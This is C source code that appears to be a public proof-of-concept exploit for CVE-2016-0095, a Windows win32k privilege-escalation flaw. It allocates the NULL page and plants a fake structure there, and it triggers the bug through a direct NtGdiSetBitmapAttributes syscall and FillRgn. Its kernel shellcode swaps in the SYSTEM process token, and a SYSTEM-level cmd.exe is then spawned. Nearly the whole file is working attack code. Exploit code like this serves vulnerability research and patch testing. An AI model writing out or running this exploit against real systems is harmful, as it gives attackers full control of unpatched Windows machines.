﻿#include <Windows.h>
#include <stdio.h>

#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")

#ifndef W32KAPI
#define W32KAPI  DECLSPEC_ADDRSAFE
#endif
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

int __stdcall ShellCode(int parameter1,int parameter2,int parameter3,int parameter4)
{
	_asm
	{
		pushad
		mov eax, fs: [124h]		// Find the _KTHREAD structure for the current thread
		mov eax, [eax + 0x50]   // Find the _EPROCESS structure
		mov ecx, eax
		mov edx, 4				// edx = system PID(4)

		// The loop is to get the _EPROCESS of the system
		find_sys_pid :
					 mov eax, [eax + 0xb8]	// Find the process activity list
					 sub eax, 0xb8    		// List traversal
					 cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
					 jnz find_sys_pid

					 // Replace the Token
					 mov edx, [eax + 0xf8]
					 mov[ecx + 0xf8], edx
					 popad
	}
	return 0;
}

typedef struct _GDICELL {
	LPVOID pKernelAddress;
	USHORT wProcessId;
	USHORT wCount;
	USHORT wUpper;
	USHORT wType;
	LPVOID pUserAddress;
} GDICELL, * PGDICELL;

unsigned int demo_CreateBitmapIndirect(void) {
	static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
	HBITMAP hBitmap;
	static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
		0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };

	bitmap.bmBits = bits;

	SetLastError(NO_ERROR);

	hBitmap = CreateBitmapIndirect(&bitmap);

	return (unsigned int)hBitmap;
}

#define eSyscall_NtGdiSetBitmapAttributes 0x1110;

typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
	IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PULONG RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect
	);

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;

W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
	HBITMAP argv0,
	DWORD argv1
)
{
	HMODULE _H_NTDLL = NULL;
	PVOID addr_kifastsystemcall = NULL;
	_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
	addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
	__asm
	{
		push argv1;
		push argv0;
		push 0x00;
		mov eax, eSyscall_NtGdiSetBitmapAttributes;
		mov edx, addr_kifastsystemcall;
		call edx;
		add esp, 0x0c;
	}
}

void Trigger_BSoDPoc() {
	HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
	HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

	RECT rect = { 0 };
	rect.left = 0x368c;
	rect.top = 0x400000;
	HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

	HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
	SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

	HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
	//__debugbreak();
	FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}

static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
	printf("[+] CVE-2016-0095\n[+] Writen by Thunder J\n");
	*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
		GetModuleHandleW(L"ntdll"),
		"NtAllocateVirtualMemory");

	if (NtAllocateVirtualMemory == NULL)
	{
		printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
		system("pause");
		return 0;
	}

	PVOID Zero_addr = (PVOID)1;
	SIZE_T RegionSize = 0x1000;

	printf("[+] Start to alloc zero page");
	if (!NT_SUCCESS(NtAllocateVirtualMemory(
		INVALID_HANDLE_VALUE,
		&Zero_addr,
		0,
		&RegionSize,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE)) || Zero_addr != NULL)
	{
		printf("[+]Failed to alloc zero page!\n");
		system("pause");
		return 0;
	}
	printf(" => done!\n");

	printf("[+] Start to construct fake struct");
	ZeroMemory(0x0, 0x748);

	*(DWORD*)(0x590) = (DWORD)0x1;
	*(DWORD*)(0x592) = (DWORD)0x1;
	*(DWORD*)(0x748) = (DWORD)& ShellCode;
	
	printf(" => done!\n");

	printf("[+] Start to Trigger_BSoDPoc");
	
	Trigger_BSoDPoc();

	printf(" => done!\n");

	CreateCmd();
	system("pause");
	
	return 0;
}